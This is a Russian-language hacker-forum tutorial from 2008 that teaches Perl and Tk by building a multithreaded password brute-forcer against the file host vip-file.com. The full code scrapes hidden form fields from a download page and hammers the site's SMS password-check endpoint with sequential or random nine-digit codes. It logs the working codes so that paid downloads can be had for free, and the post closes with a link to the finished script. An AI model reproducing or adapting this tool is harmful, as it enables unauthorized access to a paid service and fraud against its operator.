Реклама на hackersoft.ru Реклама на hackersoft.ru

Вернуться   Форумы Hackersoft > Хакерство и безопасность > Для новичков > Взлом паролей
CHAT Регистрация Справка Пользователи Доска почета Календарь Поиск Сообщения за день Все разделы прочитаны

Взлом паролей Брутфорс, взлом хешей, статистика использования паролей.

Ответ
 
Опции темы
Старый 14.07.2008, 12:10   #1
exploited
adherent 
 
Аватар для exploited
 
Регистрация: 04.06.2008
Прописка: 127.0.0.1
Сообщений: 72
Вес репутации: 3 exploited новичекexploited новичек
Депозит: 0$
Вы сказали Спасибо: 10
Поблагодарили 46 раз(а) в 22 сообщениях

Статья расчитана на тех, кто не знаком / мало знаком с перлом..
Итак, начинаем. Все любят качать с большой скоростью и платить за это бабло какому-то вип-файлу желания мало.. исправим
!1 -Подготовка
Для начала понадобится перл,
-- Для винды - качаем ActivePerl
-- Для тукса:
sudo apt-get install perl
sudo apt-get install perl-tk
либо
rpm -ivh perl-Tk-номер_версии-сборка.архитектура.rpm

!1.1 FAQ

Q: Где мона взять большое faq по перлу?)

A: [rus] http://faqs.org.ru/progr/web_lang/perl_faq.htm

Q: А учебник?)

A: http://www.spravkaweb.ru/perl/

Q: Откуда слить документацию по LWP?

A: [rus, pdf] http://pascal.sources.ru/incoming/lwp-spec.zip

Q: Откуда слить документацию на русском по Tk?

A: Действительно, откуда?)) Я юзал Pod Brouser (слить мона с репозитория убунты, Pod Brouser на английском), сплоиты от RST/GHC, респект им, и вот эту небольшую статью:
http://gazette.linux.ru.net/rus/articles/perl_tk.html

!2 - Начинаем


Код:
#!/usr/local/bin/perl print "##################################\n"; print "#   Vip-File brute   #\n"; print "# (c) BlackSun [S.T.A.R.S. Team] #\n"; print "##################################\n";
Разъясню по строчкам:
#!/usr/local/bin/perl- данная строка должна быть первой в любой Perl-программе. Она указывает системному интерпретатору что данный файл - это Perl-программа.
print "# Vip-File brute #\n";-вывод на экран, в данном случае мини-about
Едем дальше, подключаем нужные модули

Код:
use Tk; use Tk::BrowseEntry; use Tk::DialogBox; use LWP::UserAgent; use threads; use threads::shared;
Tk- консоль конешно хорошо, но GUI привычнее)
use- подключает нужный модуль и нам становятся доступны все его подпрограммы. Файл модуля с расширением ".pm" должен храниться в одной из библиотечных директорий Perl. Они перечислены в массиве @INC, одна из них обычно "/usr/local/lib/perl/".
Теперь создаем окно,

Код:
$window = new MainWindow(title => "VFB - Vip File brute"); $window->geometry('420x175'); $window->resizable(0, 0);
$window = new MainWindow(title => "VFB - Vip File brute");-собственно функция создания окна с заголовком VFB - Vip File brute.
$window->geometry('420x175');
-задаем размеры окна.
Добавим немного переменных, доступных из любого потока

Код:
my $url : shared; $url = 'http://vip-file.com/download/ae25b2336179/asdwqerfawdq3d.htm.html'; my $range : shared; $range = '959000000-999999999'; my $btype : shared; $btype = 'By range'; my $threads_count : shared; $threads_count = '50'; my $good : shared; $good = 0; my $checked : shared; $checked = 0; my $cp : shared; $cp = 0;
$url- ссыль на залитый файл на вип файле.
$range- диапозон для брута.
$btype- тип брута.
$threads_count- кол-во потоков.
$good- кол-во сбрученных паролей.
$checked- кол-во проверенных паролей.
$cp- текуший пароль.
Окно создали, заполняем его контроллами..

Код:
# Frames $left = $window->Frame(-borderwidth => 5)->pack(-side => 'left', -anchor => 'ne'); $right = $window->Frame(-borderwidth => 5)->pack(-side => 'right', -anchor => 'nw'); # url to file $left->Label(-text => 'URL to file: ')->pack(); $right->Entry(-relief => 'groove', -width => 45, -textvariable => \$url)->pack(); # type of brute $left->Label(-text => 'Brute type: ')->pack(); $type = $right->BrowseEntry(-relief => "groove", -variable => \$btype); $type->insert('end', 'By range'); $type->insert('end', 'Random'); $type->pack(-side => 'top', -anchor => 'w'); # range option $left->Label(-text => 'Range: ')->pack(); $right->Entry(-relief => 'groove', -width => 45, -textvariable => \$range)->pack(); # threads count $left->Label(-text => 'Threads count: ')->pack(); $right->Entry(-relief => 'groove', -width => 45, -textvariable => \$threads_count)->pack(); $left->Label(-text => 'Good: ')->pack(); $lgood = $left->Entry(-relief => 'groove', -textvariable => \$good)->pack(); $left->Label(-text => 'Checked: ')->pack(); $lchecked = $left->Entry(-relief => 'groove', -textvariable => \$checked)->pack(); $right->Button(-text => 'Start', -relief => "groove", -activeforeground => 'red', -width => '45', -command => \&start_brute)->pack(); $right->Button(-text => 'About', -relief => "groove", -activeforeground => 'red', -width => '45', -command => \&about)->pack(); $right->Button(-text => 'Quit', -relief => "groove", -activeforeground => 'red', -width => '45', -command => \&exit)->pack();
$window->Frame()- Создаем рамку для группирования контроллов, атрибут -borderwidth отвечает за ширину бордюра.
Метод pack предназначен для задания свойств расположения элемента на форме.
-side => 'left' означает, что рамка будет "прилипать" к левой границе формы.
$left->Label- На левом фрейме создаем текстовую метку aka label, -text думаю и ежу понятно, что отвечает за текст в метке.
$right->Entry- На правом фрейме создаем текстовое поле, -relief отвечает за вид этого поля, -width за ширину, -textvariable за текст в нем.
$type = $right->BrowseEntry- Создаем выпадаюший список.
$type->insert('end', 'By range');- добавляем в конец этого списка его элементы, первый аттрибут ('end') отвечает за расположение вставляемого элемента, в данном случае - в конец, второй - собственно текст.
Про метод pack я уже писал выше..
$right->Button- Добавляем на правый фрейм кнопку, -text- текст на кнопке, -activeforeground- цвет текста, когда над кнопкой находится мышь, -command-имя подпрограммы -обработчика, когда на кнопку нажимают.
И запускаем наш интерфейс

Код:
MainLoop();
С оболочкой закончили, приступаем к коду брута.. немного теории:

# Подпрограммы

- Для применения подпрограммы ее необходимо определить либо в текущем модуле (файле), либо во внешнем модуле (файле). Подпрограммы определяются и декларируются следующим образом:
sub имя;- Только декларация. Определение ниже.
sub имя (прототипы);- То же но с декларацией параметров.
sub имя блок;- Декларация и определение.
sub имя (прототипы) блок;- То же, но с параметрами.
# Private переменные.
- Для применения переменных доступных только внутри блока или подпрограммы необходимо определить их с помощью функции my(список). Если переменная одна, то скобки можно опустить.
my() декларирует private переменные в пределах текущей подпрограммы, блока, функции eval() или do/require/use файлов. Private переменные аналогичны auto переменным в С.
Приступаем к написанию..
Функция about, ну а как без нее)

Код:
sub about() { my $about = "Vip-File brute\r\n(c) BlackSun [S.T.A.R.S. Team]\r\nDemo :)"; $window->messageBox(-title => '.[ About ].', -message => $about, -type => 'OK', -font => '12'); }
my $about- Определяем приватную переменную с тексом мессаги.
$window->messageBox-Выводим сообшение.
-title- заголовок окна, -message- само сообшение, -type- тип сообшения, в данном случае окно с кнопкой Ok, -font- шрифт, у мну указан только размер.
Итак, 2 кнопки уже работают, About и Quit, теперь напишем доп-ные функции.
Вначале нам надо получить hidden поля с вип файла - uid и fid,
/* небольшое отступление, дальше будут простые GET запросы, если вам понадобятся POST запросы, прокси или базовая авторизация - качайте http://pascal.sources.ru/incoming/lwp-spec.zip
*/
Функция получения содержимого страницы:


Код:
sub get_content() { $ua = LWP::UserAgent->new(); $request = HTTP::Request->new(GET => $_[0]); $request->header(Accept => 'text/html'); $result = $ua->request($request); if ($result->is_success) { return $result->content; } else { return 0; } }
$ua = LWP::UserAgent->new-Создаем новый объект LWP::UserAgent.
$request = HTTP::Request->new(GET => $_[0]); создаем новый запрос, в данном случае - GET.
$request->header(Accept => 'text/html');- в заголовке передаем, что принимаем text/html.
$result = $ua->request($request);-отправляем запрос.
if ($result->is_success)-если удачно, возращяем, что получили, иначе 0.
Вызвать функцию можно будет вот так: $text = &get_content($url);

Функция вывода ошибки:

Код:
sub error() { $window->messageBox(-title => 'Error', -message => $_[0], -type => 'OK', -font => '12'); print "Error: ".$_[0]."\n"; exit(); }
Все просто, показываем сообшение и выходим.

Функция добавления в лог сбрученных паролей:

Код:
sub add2log() { print "Good: ".$_[0]."\n"; if(open(LogFile, ">>good.txt")) { if (!print LogFile $_[0], "\n") { &error("Cant write to doog.txt\r\n$_[0]"); } close(LogFile); } else { &error("Cant open good.txt\r\n$_[0]"); } }
if(open(LogFile, ">>good.txt"))- Открываем файл good.txt для записи сбрученных паролей, если открыть не вышло (ужос), то выводим мессагу и выходим, LogFile- дескриптор файла.
if (!print LogFile $_[0], "\n")- Записываем в файл сбрученный пароль, если не вышло - выходим сами))
close(LogFile);- Закрываем дескриптор файла.

Функция выдирания uid, nameи fid из рипнутого кода, который лежит в $text.

Код:
sub content2hv() { $start = index($text, 'name="uid" value="'); if ($start == -1) { &error('Cant find uid.'); } $start = $start + 18; $end = index($text, '"', $start); $uid = substr($text, $start, $end-$start); $start = index($text, 'name="name" value="'); if ($start == -1) { &error('Cant find name.'); } $start = $start + 19; $end = index($text, '"', $start); $name = substr($text, $start, $end-$start); $start = index($text, 'name="fid" value="'); if ($start == -1) { &error('Cant find fid.'); } $start = $start + 18; $end = index($text, '"', $start); $fid = substr($text, $start, $end-$start); }
Функция index (синтаксис: index СТРОКА, ПОДСТРОКА[, ПОЗИЦИЯ]) возвращает позицию первого вхождения указанной подстроки в заданную строку или -1, если подстрока не найдена. Если задан параметр ПОЗИЦИЯ, то поиск подстроки осуществляется, начиная с заданной позиции в строке (0 - начало строки).
Функция substr (синтаксис: substr СТРОКА, СМЕЩЕНИЕ [, ДЛИНА[, ЗАМЕЩЕНИЕ]]) извлекает из строки, заданной параметром СТРОКА, подстроку длиной равной значению параметра ДЛИНА, начиная с символа, заданного параметром СМЕЩЕНИЕ. Если СМЕЩЕНИЕ отрицательно, то извлечение начинается с последнего символа строки. Если значение параметра ДЛИНА отрицательно, то от конца строки отсекается количество символов, равное абсолютному значению этого параметра. Если задана строка ЗАМЕЩЕНИЕ, то выделенная подстрока замещается ею в параметре СТРОКА, которы в этом случае должен быть lvalue.
Теперь напишем функцию проверки пароля - для этого надо отправить GET запрос на випфайл:

Код:
http://vip-file.com/sms/check.php?pass=<pass_here>&uid=<uid_here>&name=<name_here>&fid=<fid_here>&submit=%D1%EA%E0%F7%E0%F2%FC
Сама процедура:

Код:
sub check_pass() { $get = "http://vip-file.com/sms/check.php?pass=$_[0]&uid=$uid&name=$name&fid=$fid&submit=%D1%EA%E0%F7%E0%F2%FC"; $content = &get_content($get); if ($content eq '') { return 0; } else { return index($content, 'This password does not exist'); } }
В $get наш запрос, в $content его результат, функция возращяет значение функции index, которая ишет строку в тексте и если не находит, возращяет -1. -1 в данном случае - пароль подошел)

Функция брута:

Код:
sub brute() { while ($cp < $range_end) { if ($btype eq 'By range') { $cp++; if (&check_pass($cp) == -1) { &add2log($cp); $good++; } } else { $pass = int(rand(9)).int(rand (9)).int(rand(9)).int(rand(9) ).int(rand(9)).int(rand (9)).int(rand(9)).int(rand( 9)).int(rand(9)); if (&check_pass($pass) == -1) { &add2log($pass); $good++; } } $checked++; } }
while ($cp < $range_end)-Цыкл, который будет работать, пока указанный диапазон не закончится, есстесно, если выбран тип брута "Random", то функция будет работать без остановки)
if ($btype eq 'By range')-$btype- комбо-бокс для выбора типа брута.
$cp++;- Увеличиваем на 1 текуший пароль.
if (&check_pass($cp) == -1)-Чекаем пароль, если -1 -значит он подошел.
&add2log($cp);- Описывал выше, добавляет пароль в лог.
$good++;- Увеличиваем счетчик сбрученных паролей.
int- Округляет число до целого,
rand- генерит случайное число.

Функция вывода инфы на экран:

Код:
sub info_thread() { while(1) { print "Total checked: ".$checked." | Valid: ".$good."\n"; $a = $lgood->configure(-text => $ good); $a = $lchecked->configure(-text => $ checked); sleep(5); } }
while(1)- бесконечный цикл.
$a = $lgood->configure(-text => $good);- Обновляем текст в текстовом поле.
sleep(5);- Пауза на 5 секунд.
Обработчик нажантия кнопки Start ))

Код:
sub start_brute() { $cp = substr($range, 0, 9); $range_end = substr($range, 10, 9); srand(); if ($btype eq 'By range') { print "Starting brute by range..\n"; } else { print "Starting brute by random..\n"; } &add2log('- Brute started -'); $text = &get_content($url); &content2hv(); threads->new(\&info_thread); for (0..$threads_count) { if ($cp < $range_end) { threads->new(\&brute); } } print "All threads created\n"; }
$cp = substr($range, 0, 9);-Получаем начальный пароль, substr- копирует строку $range начиная с 0, длинной в 9.
$range_end = substr($range, 10, 9);-Получаем конечный пароль.
srand();- Для функции rand.
$text = &get_content($url);-Получаем содержымое страницы с випфайла, дабы выдернуть 3 переменных (uid, fid, name).
&content2hv();- Выдираем.. )
threads->new(\&info_thread);-Создаем поток для вывода инфы на экран.
for (0..$threads_count)- И в цыкле создаем все потоки -threads->new(\&brute);

!2 The end();

[- Готовый скрипт --- http://secretsdrive.net/get/01/b187d....pl.tar.gz---]
Теги: Perl, Tk, LWP, Brute, брут, Vip-file, статья, качать бесплатно

Афтор: BlackSun
exploited вне форума   Ответить с цитированием
Ответ


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.


Часовой пояс GMT +4, время: 08:21.


© 2005 — +∞ Hackersoft. Все и вся защищены.
Публичная оферта | Правила форума | Реклама на сайте
Powered by vBulletin®©™ Jelsoft®©™ Enterprises Ltd. Перевод: zCarot.
Реклама на hackersoft.ru Реклама на hackersoft.ru